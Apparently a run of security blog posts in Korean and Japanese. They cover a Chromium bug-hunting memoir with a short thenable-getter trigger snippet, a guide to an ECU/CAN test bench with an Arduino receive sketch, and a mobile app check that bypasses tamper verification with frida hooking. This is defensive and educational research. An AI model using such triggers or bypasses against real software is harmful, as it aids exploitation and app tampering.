+많은 주니어 해커들은 CTF로 해킹을 배운다. 나 역시도 많은 CTF를 참여하며 실력을 키워나갔다. CTF는 제한된 시간안에 많은 지식을 배울수있는 좋은 “Play”다. 하지만 리얼월드와 상당한 괴리감이 존재한다고 생각한다. 내가 CTF에서 일명 고인물이 돼가는 시점에서 버그헌팅을 시작했을때 정말 막막했다. 어떤 소프트웨어를 대상으로 할지도 몰랐고 Fuzzer를 만들어야될지 순수 오디팅으로 찾아야될지 선택하는것도 정말 어려웠다. CTF와 달리 버그헌팅은 명확한 Goal과 Methodology이 존재하지않았다.
+ +인터넷상에는 1day 분석글이나 Exploitation관한 기술론 밖에 없었다. 버그헌팅하는데에 많은 도움을 주었지만 처음시작하는 사람들에게는 이러한글보다 버그헌팅 스토리가 더 도움이 될거라고 생각한다.
+ +이 글에서는 기술적인 내용보다 내가 2019년부터 오늘날까지 버그헌팅을 하기위해 어떤노력을 하였고 어떻게 학습하였는지를 이야기할 것이다.
+ +바둑에서는 초반에 돌을 두는 방법들을 총칭하여 포석이라한다. 이는 대국 중반부터 게임을 이끌어나가기위한 중요한 열쇠이기때문에 신중하게 두곤한다. 나도 버그헌팅을 처음 시작할때 좋은 포석을 두기위해 많은 고민을 했다. 먼저 나의 장점과 단점을 생각해보았다. CTF을 할때부터 나는 리버싱실력이 다른 동기들에 비해 수준이하였지만 취약점은 나름 빠르고 쉽게 찾았던거 같았다. 그래서 리버싱이 비교적 많이 필요한 클로즈소스 소프트웨어보다 소스코드가 공개돼있는 오픈소스 소프트웨어를 타겟으로 하기로 마음먹었다.
+ +오픈소스는 상당히 진입장벽이 높았다. 대게 버그바운티를 하는 오픈소스들은 많은 해커들의 타겟이 되어왔고 이미 많은 취약점들이 발견됐다. 그 중 웹브라우저는 레드오션 그 자체였다. 하지만 그 만큼 부와 명예가 따르고 있었기때문에 나의 첫 취약점을 웹브라우저 취약점으로 멋있게 장식하고 싶었다.
+ +웹브라우저는 대표적으로 Firefox, Safari, Chrome, Edge가 있다. 그 중 Edge는 현재 Chromium 코드를 사용하지만 내가 버그헌팅을 시작했을때는 Mshtml과 ChakraCore엔진을 사용하고있었다.
+ +FireFox와 Chrome은 다른 브라우저보다 최신 Web Platform 기능들을 빨리 적용하는 특징이 있었다. 또한 Chrome의 경우 다양한 레퍼런스가 Public하게 제공되어서 전체적인 아키텍처를 이해하는데 많은 도음을 받을수있었다. 이러한 이유때문인지 Chrome은 많은 버그들이 제보되어왔고 지금은 Critical한 버그들이 많이 줄어든 상태이다. 흔히들 난공불락이라고도 부른다.
+ + + +하지만 버그바운티 금액이 상당히 높기때문에 해볼만한 도전이라고 생각했다. 그리고 앞서 말했듯이 공개된 레퍼런스가 많아서 혼자 학습하는데 좋은 조건이였다.
+ +CTF를 하다보면 문득 고등학교때 수학문제를 푸는 상황이 연상될때가 있다. 정해진 답이 있고 필요한 것은 연필, 지우개만 있으면 됐다. CTF도 마찬가지로 시스템해킹문제가 나오면 문제바이너리를 실행할수있는 VM환경과 리버싱을 위한 IDA 하나면 충분했고 출제자의 “의도”대로 취약점을 찾으면 됐다.
+ +하지만 버그헌팅은 달랐다. 출제자의 의도라는건 애초에 존재하지않고 CTF보다 비교도 안되게 큰 리얼월드 바이너리를 편하게 분석할 수 있는 환경을 만드는것이 보기보다 어려운 작업이였다.
+ +내 타겟은 크로미움이였고 매우 큰 오픈소스 프로젝트이기때문에 필연적으로 분석할수있는 충분한 성능의 데스크탑이 필요하였다.(성능이 안좋을경우 생각보다 빌드시간이 많이 낭비된다)
+ +빌드환경 구축은 구글에서 충분히 자세하게 문서로 정리되어있었다. (해당 문서가 생각보다 길어보일수있는데 유용한 팁들이 많이 적혀있으니 꼼꼼히 읽어봐야한다. 예를 들어 빌드시간을 단축할수있는 팁)
+ +처음에는 빌드하기도 어려웠고 디버깅하기도 어려웠다. 하지만 여러가지 시행착오를 겪으며 노하우가 생기고 나에게 맞는 환경을 구축할 수 있게되었다.
+ +(빌드, 디버깅, Exploit 개발 환경을 효율적으로 구축하는 것도 실력이고 자산이라는 것을 알게되었다.)
+ +Chromium의 Attack Surface는 대표적으로 자바스크립트 엔진인 v8과 Web Platform엔진인 Blink가 있다. 나의 경우 2017년에 ChakraCore엔진을 본 경험이 있어서 V8를 먼저 보기로하였다. 지금 생각해보면 이 선택이 지금까지 Chromium에서 취약점을 찾는데에 있어서 좋은 기반을 쌓게해준거 같다. (웹브라우저의 원격 취약점들은 다양한 컴포넌트들이 있지만 대부분 Javascript로 Trigger한다. 이 때문에 javascript 엔진을 정확히 이해하는것은 많은 도움이 된다.)
+ +Fuzzing 은 정말 매력적인 기법이다. 이미 많은 해커들이 Fuzzing을 해왔고 지금 이 순간에도 취약점들이 찾아지고있을것이다. 누구나 버그헌팅을 시작할때 Fuzzer를 만들어볼까라는 생각이 해보았을것이고 나도 그런 생각을 많이 했다. 하지만 과연 내가 지금 Fuzzer만들어서 의미있는 결과를 만들수 있을까?라는 생각이 더 지배적이였다. 물론 창의적인 Fuzzing Idea를 생각해내면 좋은 결과가 나왔었겠지만 나는 뭐 딱히 좋은 아이디어가 생각나지 않았다. 그래서 좋은 아이디어가 생각날때까지 Fuzzing을 사용하지않고 소스오디팅을 하기로하였다. (아직까지도 소스오디팅을 하고 있다..)
+ +처음에는 무작정 코드를 읽었고 6개월이상동안 열심히 하였지만 취약점을 하나도 못찾았다. 이 일을 겪은 후 난 무작정 소스오디팅으로 찾는건 비효율적이라는것을 깨달았다. 오래전부터 Javascript대상으로 Fuzzing연구들이 많이 되어왔기때문이다. 이 깨달음은 별거없어보이지만 내 버그헌팅에 있어서 큰 전환점이 되었다.
+ +이후 난 Fuzzing과의 싸움에서 이길수 있는 방법을 계속해서 고민했고 여러가지 시행착오를 거쳐 몇가지 결과를 도출해냈다.
+ +v8 코드와 열심히 싸우는 도중에 우연히 Project Zero 블로그에서 글 하나를 보게되었다. 내용은 대충 WebAssembly 취약점에 관한 것이였다. 버그 클래스들은 딱히 흥미로운게 없었다.하지만 난 WebAssembly의 미래와 관심도(?)를 유심있게 보았다. 내가 왜 이러한 생각을 한 것인지 이해하려면 꽤 오래전으로 거슬러 올라가야한다.
+ +2016년, ChakraCore가 처음으로 공개되었을때 취약점이 아주 많이 발생했다. 대게 ECMAScript6 와 관련된 취약점이였다. 왜 이런 취약점이 많이 발생했을까? 물론 ChakraCore가 릴리즈된지 얼마안돼서 그런것 일 수 도 있다. 하지만 근본적인 문제는 ECMAScript 6 표준 구현이라고 생각한다. 표준을 코드로서 구현하는것은 매우 어려운일이다. V8, SpiderMonkey, JavascriptCore들은 ECMAscript라는 같은 표준을 사용하지만 구현코드를 보면 전혀 다르다. ChakraCore는 릴리즈된지 얼마되지도 않았을뿐만 아니라 ECMAScript 6도 Draft가 끝난지 얼마 안된상태에서 구현을 했기때문에 매우 불안정한 상태였을것이다. 이는 ChakraCore의 수많은 취약점들이 증명해준다.
+ +난 이 상황이 WebAssembly에도 적용될것이라고 생각했다. WebAssembly또한 ECMAscript처럼 표준이 존재하며 현재 많은 기능들이 추가되고 있다. 무엇보다 V8과 SpiderMonkey는 다른 Javascript엔진들보다 훨씬 빨리 표준을 구현하고있다. 표준이 구현된지 얼마 안되었고 계속해서 개발되고있기때문에 분명히 취약점이 있을거라고 확신했다.
+ +또한 WebAssembly 취약점에 대한 조사를 하던도중 흥미로운 것을 발견하였다. The Problems and Promise of WebAssembly 포스팅은 2018.8에 작성되었고 10개 남짓한 Webassembly 취약점들은 2018 ~ 2017 사이에 발견되었다. 이 말은 2018년 이후 WebAssembly 취약점이 발견되지 않았다는것이다. 위에서 언급했듯이 WebAssembly는 활발히 개발되고있었기때문에 2018년 이후에 새로 나온 기능들이 상당히 많았다. 이 기능들은 아직 해커들에게 관심을 못했기때문에 충분한 블루오션이였다.
+ +나의 첫번째 두번째 취약점은 WebAssembly에서 나왔고 위 전략이 효과적이었다는것을 증명해준다.
+ +나의 첫 취약점, issue 964607 는 WebAssembly Reference Table 구현 코드에서 발생했다. 이 기능은 활발히 개발중(experimental)이였기때문에 보안성이 매우 떨어진 상태였다. 리포트를 보면 알 수 있듯이 취약점 자체는 매우 쉽고 간단했다. 하지만 우리는 여기서 취약점의 복잡성, 창의성보다는 이 취약점이 어떻게 기인되었는지를 주목해야한다.
+ +WebAssembly는 초기에 Function Table만 있었지만 Any Reference Table이 새로 생기게되었다. 이러한 객체 타입의 확장은 이전기능과 새로운 기능 구현 코드들이 필연적으로 병합된다. 기존에 구현된 코드에서 사용된 모듈들은 새로 추가된 기능들에 맞춰 변화해야 될 수 도있다. 이 과정에서 예기치 못한 상황이 발생될수있다. 예를 들어 배열 길이의 증가, 배열 타입 변형, User callback(side effect) 등이 있다. issue 964607 는 변화한 배열 길이의 증가를 예상하지 못해 발생했다.
+ +두번째 취약점(issue 980475)도 WebAssembly Reference Table과 관련이 깊다. 첫 취약점과 다른점이 있다면 WebAssembly의 새로운 기능인 bulk memory와도 관련이 있다는것이다. 이 취약점 역시 새로 추가된 기능이 기존 모듈에 영향을 줄 수 있다는 것을 예상하지못해 발생했다.
+ +나의 데뷔전은 이렇게 마무리가 되었다. 비록 Stable이 아닌 experimental 취약점들이여서 CVE는 못 받았지만 이것으로 인해 많은 성장을 이루었다는것은 확실하다.(Stable이 아니여도 포상금을 똑같이 받을수있다!)
+ + + +수험생 시절 역사 선생님들이 항상 하시던 말이 있었다. 역사는 반복된다. 전 세대에 있었던 일이 현 세대에도 일어날수 있다는 말이다. 1-day 취약점들을 조사하면서 이 말이 버그에 적용될수도 있다는 생각이 들었다.
+ +Issue 782145는 2017년 11월에 발생한 취약점이다. RegExp 객체는 fast type과 slow type이 존재한다. Replace함수는 인자로 RegExp 객체를 받을 수 있는데 타입에 따라 함수 Flow가 달라진다. 하지만 해당함수에서는 타입을 적절하게 검사하지 못하여 Type Confusion이 일어날수 있었다.
+ +다음은 pwn2own 2019에서 사용된 Issue 944971이다. 해당 취약점은 Issue 782145와 매우 유사하였다. poc코드를 보면 더욱 비슷해보일뿐만 아니라 Root Cause도 같은 패턴이었다. 마치 생명주기를 보는듯 했다. 이와 비슷한 현상을 갖는 취약점들은 한 두개가 아니였다.
+ +이로부터 내가 얻은 교훈이 있었다.
+ +1-day 분석은 전체적인 코드의 흐름뿐만 아니라 미래의 다시 나올 취약점에 대비를 할수있다.
+안전했던 코드도 첨삭을 통해 다시 취약해질수 있다.
+WebAssembly 취약점을 찾은후 학교생활을때문에 몇달간 버그헌팅을 못했다. 2020년 2월부터 다시 시작했는데 이때는 Chrome Mojo(Sandbox Escape 취약점) 붐이 일어나고 있었다. 원래 Javascript 취약점을 다시 찾고싶었지만 트렌드에 따라 Mojo 취약점을 보기 시작했다.
+ +Mojo에 관련된 레퍼런스들은 생각보다 많았고 Mark Brand와 Man Yue Mo가 찾은 Mojo 취약점들은 아주 많은 도움이 됐다. Mojo를 공부한지 한달이 됐을 무렵에 소스오디팅을 시작했다. Mojo붐은 이미 1년넘게 지속된지라 블루오션에서 레드오션으로 변화되는 시점이였다. 지푸라기라도 잡고싶은 심정으로 코드를 주구장창 보았다. 하지만 2주넘게 수확이 없었다.
+ +포기 할 때 쯤 우연히 한 커밋을 보았다. 이 커밋은 내가 1주전에 보았던 WebSocket Mojo Service 부분이였고 몇몇의 함수을 추가하는 커밋이었다.
+ +처음에는 별 생각 안하고 리뷰를 했지만 이 커밋으로 인해 전에는 없었던 UAF 취약점이 일어날수 있다는것을 인지하는데 그리 많은시간이 걸리지 않았다. 난 이 취약점을 발견하고 나서 꾸준히 커밋을 보는 습관이 생겼다. 이 습관은 향후 내 버그헌팅 삶의 많은 발전을 기여했다. 버그헌팅을 부업으로 삼고있는 사람에게 딱 한개의 조언을 할 수있다면 난 무조건 커밋 읽는 습관을 들이라고 말 할 것이다.
+ +때때로 취약점은 작은 커밋 하나로 기인 될 수 있다.
+ +스타크래프트에는 다양한 치트키가 있다. Show me the money라고 치면 미네랄과 가스를 얻을 수 있고 Power Overwhelming를 치면 무적이 될 수 있다. 버그헌팅에는 당연히 치트키가 없다. 하지만 비슷한 것은 있다! 바로 버그클래스다. 좋은 버그 클래스를 발견하면 그것 하나로도 상당히 많은 취약점을 찾을 수 있다. 나도 몇개의 버그 클래스로 많은 재미를 봤다.
+ +좋은 버그 클래스는 무엇일까? 난 두 가지 조건이 필요하다고 생각한다.
+ +다른 해커는 모르고 나만 아는 버그 클래스이다.
+개발자는 모르고 해커만 인지하고 있다.
+사실 첫번째 조건이 충족되면 두번째 조건도 충족될것이다. 하지만 두번째 조건만 충족해도 많은 재미를 볼 수 있을것이다. 버그클래스가 한번 리포트되면 해커들에게 알려지는건 시간문제이고 다른해커들이 찾기전에 내가 더 빨리 찾으면 된다.
+ +Issue 931640 리포트를 보면 재밌는 트릭이 있다.
+ +Object.prototype.__defineGetter__("then", function() {
+
+ if (++then_counter == 1) {
+
+ controller.close();
+
+ performMicrotaskCheckpoint();
+
+ }
+
+ });
+
이 트릭은 2016년 UXSS 취약점에서 기인한 트릭이다.
+ +var thenable = {get then() { console.log(2); }}
+
+console.log(1); Promise.resolve(thenable); console.log(3)
+
Promise.resolve는 인자로 오브젝트를 받으면 then이라는 property를 가져온다. 이때 유저는 getter를 사용하여 then를 가져올때 user-defined function를 실행할수있다. 아마 이 글을 읽고있는 대부분의 독자분들은 몰랐을것이다. 보통의 개발자들도 이러한 스펙을 알지 못했을것이다. 이러한 side effect는 많은 취약점을 야기 시킬 수 있다.
+ +내가 이 Thenable Object 트릭을 인지하고 찾기 시작했을때는 다른 해커들이 별로 관심을 갖지않고 있었다. 덕분에 많은 취약점을 찾을 수 있었다. 하지만 3~4달후에 해커들이 해당 트릭을 인지하고 많은 버그들이 Kill 되어버렸다…
+ +재미를 본 또다른 버그클래스는 render_frame_host라는 raw pointer의 lifetime 문제였다. 이 클래스는 Plaid CTF 문제로 출제되었다. 이로인해 해커들에게 많은 관심을 받게되었다. 그래서 난 빠르게 취약점을 찾아 바로바로 신고하였다.
+ +앞서말한 좋은 버그 클래스의 조건중에서 첫번째 조건을 만족 시키는것은 매우 어려운 일이다. 그렇기때문에 이미 공개된 버그클래스를 선별하여 빠르게 찾는게 더 효율적인 방법이라고 생각한다.
+ +크롬에서 버그헌팅을 하다보면 정식버전(stable)이 아닌 취약점을 찾을때가 많다. 솔직히 버그를 찾는 입장에서 Stable취약점을 찾아 CVE credit을 받고 싶을것이다.(stable이 아니면 CVE Credit안줌) 그래서 이러한 취약점을 찾았을때 난 가끔 초읽기를 한다. 크롬은 보통 한달마다 버전업을 한다. 스케쥴이 엄청 체계적이며 베타, 개발자 버전에서 많은 취약점들이 제거된다. 때문에 자신의 취약점이 정식버전으로 되는것은 여간 쉬운일이 아니다. 버그 초읽기를 하는건 정말 스트레스를 받는 일 이었다. 이제는 내 버그가 정말 찾기 어려운 버그인지 자가진단을 하고 초읽기를 하는 편이다.
+ +나의 진단법은 chrome release security update를 보는것이다. 크롬은 일주일마다 보안업데이트를 하는데 그 주에 패치된 버그들의 ID를 공개해준다. 이를 통해 패치된 버그의 Root Cause를 분석하여 버그클래스를 알아낼수있다.
+ +버그클래스들은 유행를 타기 때문에 내가 찾은 버그와 같은 클래스라면 초읽기를 그만두고 신고해야한다.
+ +Chrome Platform Status 사이트에서 크롬 릴리즈 스케쥴을 확인할수있다. 이것을 보고 기도를 하자
+ +버그헌팅을 시작한지 2년차가 되어서야 실적이 조금씩 생기기 시작했다. 난 남들처럼 재능이 있는 해커가 아니었기때문에 코드를 “읽는다” 라는 것보다는 “익숙해진다”라는 느낌으로 해왔던거 같다. 매일매일 아침을 먹으며 코드와 커밋을 보니 이해가 안되던 크롬 아키텍처가 조금씩 익숙해졌다. 구조가 익숙해짐으로써 코드를 빠르게 읽어갈수있게되었고 취약점이 보이기 시작했다.
+ +내가 버그를 찾았던 순간은 잠을 줄여가며 코드를 보던 밤이 아니라 편안한 숙면을 취하고 간단하게 코드를 리뷰하던 아침이었다. 버그헌팅은 CTF처럼 짧은 시간에 끝내는 놀이가 아니였다. 멀리보며 꾸준히 코드를 읽는게 중요하다는 것을 깨달았다.
+ +물론 내가 부족했던점도 있었다. 레퍼런스들을 잘 보지 않았다는 것이다. 때때로 코드에서는 수천줄을 읽어야 되는 것을 레퍼런스 한개만 읽어도 이해되는 구조가 몇몇 있었다. 이러한 시행착오를 격고 최근에서는 레퍼런스를 열심히 읽는중이다.
+ +이 글은 오로지 저의 생각이며 정답이 아닙니다. :D
+ +최근 자동차 해킹에 대해 관심을 가지는 사람들이 늘고 있다. 워낙 차를 좋아해서 기회가 생기면 자동차 해킹을 해봐야겠다고 생각했었는데 마침 기술 블로그에 기고할 차례가 되어 글을 쓰게 되었다.
+ +아무거나 다 해볼 수 있는 차가 있었으면 좋았을 것이다. 그러나 타고 다닐 차를 실습용으로 쓰기엔 불안하고, 그렇다고 실험용 차를 따로 구매하는 건 꽤 부담스럽다. 게다가 자동차 해킹 실습하는데 철판이나 바퀴 같은 게 필요한 건 아니니까 새로운 방법을 써보자!
+ ++ |
---|
사실 자동차는 꽤나 비싼 물건이다…. | +
ECU를 활용하면 좋을 것이다. 자동차와 관련된 연산은 대부분 ECU에서 이뤄지기 때문이다. 그러한 고로, 이번 글에서는 ECU를 활용한 해킹 테스트 환경을 구성해본다.
+ ++ |
---|
출처 : https://images.app.goo.gl/PRsNPqiKFuc95ni66 | +
ECU는 전자제어유닛(Electronic Control Unit)의 약자로 자동차에서 필요한 각종 연산을 수행하는 일종의 컴퓨터이다. 과거에는 엔진제어유닛(Engine Control Unit)의 의미로만 사용되었으나 차량의 전자화가 이뤄지면서 다양한 모듈에서 전자제어가 사용되어 전자제어장치들을 모두 통칭할 때 사용하게 되었다. 최근에는 엔진 제어 유닛을 ECM(Engine Control Module) 이라고 부르며 TCU, BCM 등 다양한 유닛이 차량에 탑재되고 있다.
+ +ECU 테스트 벤치를 만들기 위해 ECU를 구매해보자.
+ +필자가 구매한 물건은 17년식 아반떼(AD) 1.6 GDI A/T에 탑재되는 ECU(39110-2BAZA)이다.
+ +요즘 차량들은 모두 ECU를 가지고 있기 때문에 어떤 차종을 선택하더라도 무관하지만, 차종이 동일하더라도 차량 형식이 바뀔 때에는 새로운 코드명을 부여받는다. 예를 들어 쏘나타는 1986년 이래로 지금까지 계속 “쏘나타”였지만 형식에 따라 코드명은 Y2, Y3, EF, NF, YF, LF, DN8로 바뀌어왔다. 차량 형식이 바뀔 때는 통상적으로 부품이 많이 바뀌기 때문에 이 부분을 반드시 확인해야 한다.
+ +연식에 따라 ECU 모듈이 바뀌는 경우는 흔하지 않지만 차후 분석에서 중요한 힌트가 될 수 있고, 간혹 연식변경 모델에서 전장 구성이 바뀌는 경우도 있기 때문에 알아둘 필요가 있다.
+ +같은 차종이더라도 여러 엔진 형식이 존재할 수 있으며, 엔진 형식에 따라 다른 ECU를 사용할 수도 있다. 예를 들어 분석에 사용되는 17년식 아반떼는 가솔린 2종(감마 1.6 T-GDI, 감마 1.6 GDI), 디젤 1종 (U-II 1.6 VGT), 총 3종류의 엔진 형식이 존재한다. 점화플러그를 사용하지 않는 디젤의 경우 엔진의 부품 구성이 달라지기 때문에 ECU 구성이 바뀔 가능성이 높다. 따라서 구매 전 엔진 형식을 알아두어야 한다.
+ +변속기 형식(자동/수동/DCT 등)에 따라 ECU가 달라지기 때문에 변속기 유형에 대해서도 알아두어야 한다.
+ ++ |
---|
출처 : 현대모비스 부품정보검색 | +
신품을 구매하면 좋겠으나 가격이 다소 부담스럽다. 실험에 사용하는 목적이라면 중고를 구매해도 무관하다. 인터넷 쇼핑몰이나 gparts 등에서 중고 ECU를 구할 수 있다.
+ ++ |
---|
신품 가격으로 3개 쯤 살 수 있다… 🤔 | +
신품에 비해 저렴한 가격으로 판매중인 것을 확인할 수 있다. 일부 판매점에서는 ECU와 연결되는 커넥터도 같이 판매하는 경우가 있으므로 판매점에 확인하여 함께 구매하는 것을 추천한다. 커넥터가 있는 경우 케이블을 연결하기 훨씬 쉬워진다.
+ +ECU 핀들을 보면서 속이 복잡해지겠지만 걱정하지 않아도 된다. 현대/기아 차량은 정비를 위한 기술정보 사이트 GSW를 제공하고 있다. GSW를 통해 차량 전장회로도, ECU 커넥터 정보 등을 확인하여 연결하면 된다.
+ ++ |
---|
[회로도-엔진 전장-엔진 컨트롤 회로(A/T)] | +
회원가입 후 [전장회로도 - 모델 선택 - 연식 선택 - 엔진]을 선택한 후 원하는 회로를 선택하면 된다 (ex. 전장회로도 - 아반떼(AD) - 2017 - G 1.6 GDI) 참고할 사람을 위해 상세 메뉴를 표시해두겠다. 상세 메뉴는 차종에 따라 차이가 있을 수 있다.
+ ++ |
---|
커넥터(C100-AK) 단면도 | +
실험에 사용되는 ECU(39110-2BAZA)는 2가지 종류의 커넥터가 필요하지만 이번에 사용할 핀들은 C100-AK 커넥터 하나에 모두 모여있다. 단자에 맞는 커넥터가 없는 경우에는 직접 납땜을 해야한다. 필자는 커넥터를 못 구했기 때문에 핀의 크기가 큰 1~6번 핀은 납땜으로 연결하고, 좌측 핀은 흔히 볼 수 있는 CH254(아두이노 등에 흔히 사용되는 소켓) 소켓 케이블로 연결했다.
+ ++ |
---|
[커넥터 정보-컨트롤 하네스-회로도] | +
C-CAN, CCP-CAN 통신을 위한 High/Low 핀, 전원 및 접지 핀에 케이블을 연결한다. 여기서 주의할 점은 커넥터의 배선이기 때문에 좌우가 반대라는 것이다. 그림이 좌우로 뒤집어졌다고 생각하고 작업해야 올바른 위치에 연결할 수 있다
+ ++ |
---|
‘연결만 되면 됐지’ 같은 마감 상태 | +
필요한 모든 선을 ECU에 연결했다면 전원을 공급해야 한다. ECU에 필요한 전압은 GSW에서 확인할 수 있다.
+ ++ |
---|
[정비지침서-아반떼(AD)-2017-G 1.6 GDI-엔진 제어/연료 시스템-엔진 컨트롤 모듈(ECM)-회로도] | +
전압은 시동 시 배터리 전압을 따른다고 나와있으므로 자동차 배터리 전압인 12V를 공급하면 된다. 구체적인 요구사항과 신호명 각 항목에 대한 자세한 내용을 알고 싶다면 회로도-엔진 전장-엔진 컨트롤 회로(A/T)-서비스 팁을 참고하면 된다.
+ +12V를 공급하는 방법은 여러가지가 있지만, 쓰지 않는 컴퓨터 파워서플라이를 가져와서 전원 공급에 사용하는 방법도 있다.
+ ++ |
---|
[파워 서플라이 전원 정보] | +
가지고 있는 파워서플라이를 확인해보니 12V/18A 전원을 지원하는 것을 확인할 수 있다. 연결해보니 동작하는 데 크게 이상은 없었다. 대강 요구사항에 맞으면 파워서플라이 케이블을 잘라내고 작업을 시작해보자. 작업 직전에 파워서플라이를 사용한 적이 있다면 캐패시터를 충분히 방전시키는 것을 잊지말자
+ ++ |
---|
파워서플라이에는 고전압이 흐르고 있다. 작업에 유의하도록 하자 | +
+ |
---|
출처 : https://www.smpspowersupply.com/connectors-pinouts.html | +
그림은 ATX 파워서플라이 단자의 배치도이다. ECU에 전원을 공급하기 위해 파워서플라이의 12V 핀, 그리고 PS_ON(16번), 15번 COM이 필요하다. 12V 직류 전원을 제공하는 포트는 노란색 중 하나를 사용하면 되고, 접지는 검은색을 사용하면 된다. PS_ON은 파워서플라이의 시작을 위해 사용되는 핀으로 15번 COM과 쇼트 시켜주면 된다. PS_ON을 쇼트시켜주지 않으면 파워서플라이가 켜지지 않는다.
+ +CAN 데이터를 송/수신하기 위해 아두이노를 사용한다. 데이터가 많이 쌓이면 아두이노가 먹통이 되는 경우가 잦아 라즈베리 파이를 추천하지만 아두이노를 쓰는 편이 더 쉽기 때문에 이번 게시글에서는 아두이노를 이용한 방법을 소개한다.
+ ++ |
---|
비싸서 못 사는 게 아니고 배송비 2,500원이 뼈 아프다 | +
아두이노가 CAN 통신을 하도록 하기 위해서는 CAN 모듈이 필요하다. 많은 비싼 모듈이 있지만 이정도 제품이면 크게 문제되지 않는다. 아두이노와 MCP2515 모듈은 다음과 같이 연결한다.
+ +MCP2515 | +Arduino | +
---|---|
VCC | +5V | +
GND | +GND | +
INT | +DIGITAL 2 | +
CS | +DIGITAL 9 | +
SI | +DIGITAL 11 | +
SO | +DIGITAL 12 | +
SCK | +DIGITAL 13 | +
MCP2515를 사용하기 위해 라이브러리(https://github.com/Flori1989/MCP2515_lib)를 설치한다.
+ +다시 한 번 강조하지만, 작업 전 파워서플라이의 전원을 제거하고 방전될 때까지 충분한 시간이 지난 후 작업해야한다.
+ ++ |
---|
파워서플라이 DC 12V 열수축튜브 작업 | +
안전하고 깔끔한 배선 작업을 위해 다이소에서 1000원에 구할 수 있는 열수축튜브를 사용했다. 브레드보드에서 작업하기 위해 전선을 자르고 CH254 소켓을 연결했다. 이후 CAN Shield, ECU 전원들을 브레드보드에 구성했다.
+ ++ |
---|
브레드보드 구성 사진 | +
구성에 대한 이해를 돕기 위해 그림을 준비했다.
+ ++ |
---|
전체 회로도 | +
파워서플라이에서 12V, GND, PS_ON 핀을 따오고, ECU와 이어지도록 작업한다. PS_ON은 GND와 따로 이어지도록 구성해줘야 한다. ECU 전원 및 접지는 파워서플라이의 전원, 접지에 바로 이어져도 상관없다. ECU와 CAN은 HIGH, LOW를 그대로 이어주고, 아두이노와 CAN Shield는 이전 단원에서 다뤘던 그대로 이어주면 된다.
+ +전원부를 직접 연결하는 것이 부담된다면 안정적인 동작을 위해 회로의 퓨즈 용량에 맞게 전원부에 회로를 구성하는 것도 좋다. 회로의 퓨즈 용량은 GSW의 회로도 [회로도-엔진 전장-엔진 컨트롤 회로(A/T)-회로도]에서 확인할 수 있다. 다만 이번 글의 목표는 단순히 ECU에서 신호가 잘 출력되는지를 확인하는 것이므로 별도의 회로를 구성하지는 않았다. 이는 다음 편에서 다루겠다.
+ +#include <mcp_can.h>
+#include <SPI.h>
+long unsigned int rxId;
+unsigned char len = 0;
+unsigned char rxBuf[8];
+
+MCP_CAN CAN0(9);
+
+void setup()
+// Set CS to pin 9
+{
+ Serial.begin(115200);
+ if(CAN0.begin(CAN_500KBPS, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n");
+ else Serial.print("Can init fail!!\r\n");
+ pinMode(2, INPUT); // Setting pin 2 for /INT input
+ Serial.println("MCP2515 Library Receive Example...");
+}
+void loop()
+{
+ if(!digitalRead(2))
+ {
+ CAN0.readMsgBuf(&len, rxBuf);
+ rxId = CAN0.getCanId();
+ Serial.print("ID: ");
+ Serial.print(rxId, HEX);
+ Serial.print(" Data: ");
+ for(int i = 0; i < len; i++)
+ {
+ if(rxBuf[i] < 0x10)
+ {
+ Serial.print("0");
+ }
+ Serial.print(rxBuf[i], HEX);
+ Serial.print(" ");
+ }
+ Serial.println();
+ }
+}
+
MCP2515 라이브러리에 들어가있는 CAN 통신 읽기 예제 코드이다. 간단한 코드지만 ECU가 정상적으로 작동하는지 확인하는 데에는 충분하다.
+ ++ |
---|
패킷이 너무 많이 나와서, 오래두면 아두이노 프로그램이 뻗는다 | +
전원을 켜면 실시간으로 많은 CAN 패킷들이 쏟아져 나오는 것을 확인할 수 있다.
+ +이제 분석을 시작하면 된다!
+ ++ |
---|
테스트 환경 전체 모습 | +
이번 게시글에서는 ECU와 PC용 파워서플라이, 아두이노 그리고 간단한 배선작업을 통해 자동차 해킹을 위한 테스트 환경을 구성해보았다.
+ +日本のアプリケーションセキュリティー措置
+ +概要
+ +今回は日本のアプリケーションの特徴と、セキュリティ措置について確認するため、APKファイルを改ざんしたりhookingを通じてモバイル安全性を確認するいくつかのテストを行います。
+ +1。アプリの具現方法
+ +日本のアプリケーションの特徴を調べるために、日本のショッピングアプリケーションを一例として分析してみます。オンラインショッピングアプリは大体ウェブビューで具現されています。
+ +2。root化の有無を確認
+ +日本のアプリケーションの特徴および問題点
+ +金融関係のアプリケーションを除き、日本の一般的なアプリケーションはアンドロイドのroot化が出来ているかを確認していない場合があります。しかし、root化の有無を確認するのはアプリケーションセキュリティに対する大事な問題です。
+ +インストールして実行してみると、アプリケーションはroot化の有無を確認していませんでした。これについて個人的には、root化の有無を確認しないとハッカーがアプリを改ざんしたり、システム権限を利用してシステムを操作する場合があります。なので、rootingの有無を確認することをお勧めします。
+ +SUコマンドを検証、プロセスリスト探知、rooting関連アプリの有無を確認さればroot化の有無が簡単に確認できます。
+ + + +[図1] rootingされたデバイスで実行されたアプリケーション
+ +3。難読化
+ +難読化は、文字通り読みにくくするという意味です。
+ +難読化はデコンパイルしたソースコードを変更して解りにくくし、解析を困難にしてサイバー攻撃から守ります。
+ +JEBツールを使ってAPKをデコンパイルしてみました。
+ + + +[図2] 難読化が出来ていないソースコード
+ +4。アプリの改ざん検証
+ +アプリケーションの改ざん検証が行われているかを確認する方法は、アプリケーションをrepackagingしてみるか、smaliコードを変更してみるかの二つの方法があります。私はアプリケーションをrepackagingする方法を使てみました。
+ + + +[図3] jarsignerを使ってresign
+ +repackagingの後resigningして偽造されたアプリを実行して見ると
+ + + +[図4] 強制終了されたアプリケーション
+ +上記図を見ると、改ざんを検証していることがわかります。
+ +改ざんを検証しているところを、fridaを使ってhookingしてみました。
+ +fridaはPythonベースのライブラリの動的解析ツールです。
+ +このツールは、JavaScriptを用いてScriptingが可能であり、マルチプラットフォームで動作します。(インストール方法は pip install frida-tools)
+ +そして、hash値の検証を通し、アプリケーションの改ざん有無を確認していることがわかりました。
+ +下記のコードを使ってhookingしました。
+ + + +[図5] コード
+ +hookingした後、アプリケーションを実行して見ると次の図のようにアプリが正常に起動していることが確認できました。
+ + + +[図6] 通常に動作している画面
+ + +3-4년전에 찾아서 제보했던 오디오 라이브러리에 대한 취약점 분석글입니다.
